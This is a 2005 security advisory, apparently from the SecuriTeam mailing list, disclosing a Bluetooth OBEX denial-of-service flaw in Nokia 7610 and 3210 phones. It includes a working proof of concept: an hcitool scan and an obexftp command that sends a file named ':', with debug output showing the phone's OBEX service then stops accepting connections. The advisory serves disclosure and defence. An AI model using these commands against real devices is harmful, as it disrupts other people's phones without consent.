[NEWS] Nokia OBEX DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/05

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    Date: 29 Sep 2005 15:17:09 +0200
    
    

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      Nokia OBEX DoS
    ------------------------------------------------------------------------

    SUMMARY

    OBEX - "Object Exchange: a set of high-level protocols allowing objects
    such as vCard contact information and vCalendar schedule entries to be
    exchanged using either IrDA (IrOBEX) or Bluetooth. Symbian OS implements
    IrOBEX".

    A flaw in the OBEX implementation of Nokia 7610 and other models, allows
    attackers to disable the OBEX service by sending archives that contain the
    name ":" or "\".

    DETAILS

    Vulnerable Systems:
     * Nokia 7610, Nokia 3210
     * OBEX implementation in Nokia 7610 (V4.0.437 15-09-04 RH51)

    Proof of concept:
    jim:~# hcitool scan
    Scanning ...
            00:13:70:5E:1F:01 7610

    jim:~# obexftp -b 00:13:70:5E:1F:01 -p \:
    Browsing 00:13:70:5E:1F:01 ...
    Channel: 10
    No custom transport
    obexftp_cli_open()
    obexftp_cli_connect_uuid()
    Connecting...obexftp_cli_connect_uuid() BT 1
    cli_sync_request()
    obexftp_sync()
    client_done()
    client_done() Found connection number: -1022384746
    client_done() Sender identified
    obexftp_sync() OBEX_HandleInput = 31
    obexftp_sync() Done success=1
    done
    Sending ":"... obexftp_put_file() Sending : -> :
    build_object_from_file() Lastmod = 2005-09-18T00:16:42Z
    cli_sync_request()
    cli_fillstream_from_file()
    cli_fillstream_from_file() Read 6 bytes
    cli_fillstream_from_file()
    cli_fillstream_from_file() Read 0 bytes
    obexftp_sync()
    obexftp_sync() OBEX_HandleInput = 0
    failed: :
    obexftp_cli_disconnect()
    Disconnecting...cli_sync_request()
    failed: disconnect
    obexftp_cli_close()

    # Error pushing other file after send ":" filename:

    jim:~# obexftp -b 00:13:70:5E:1F:01 -p /etc/hosts
    Browsing 00:13:70:5E:1F:01 ...
    Channel: 10
    No custom transport
    obexftp_cli_open()
    obexftp_cli_connect_uuid()
    Connecting...obexftp_cli_connect_uuid() BT -1
    failed: connect
    Still trying to connect
    obexftp_cli_connect_uuid()
    Connecting...obexftp_cli_connect_uuid() BT -1
    failed: connect
    Still trying to connect
    obexftp_cli_connect_uuid()
    Connecting...obexftp_cli_connect_uuid() BT -1
    failed: connect
    Still trying to connect

    Disclosure Timeline:
    20.09.2005 - Bug found
    21.09.2005 - Nokia security contacted
    24.09.2005 - Disclosure in NCN - V congress (http://www.noconname.org)
    26.09.2005 - Full disclosure

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aramosf@unsec.net> A.
    Ramos..

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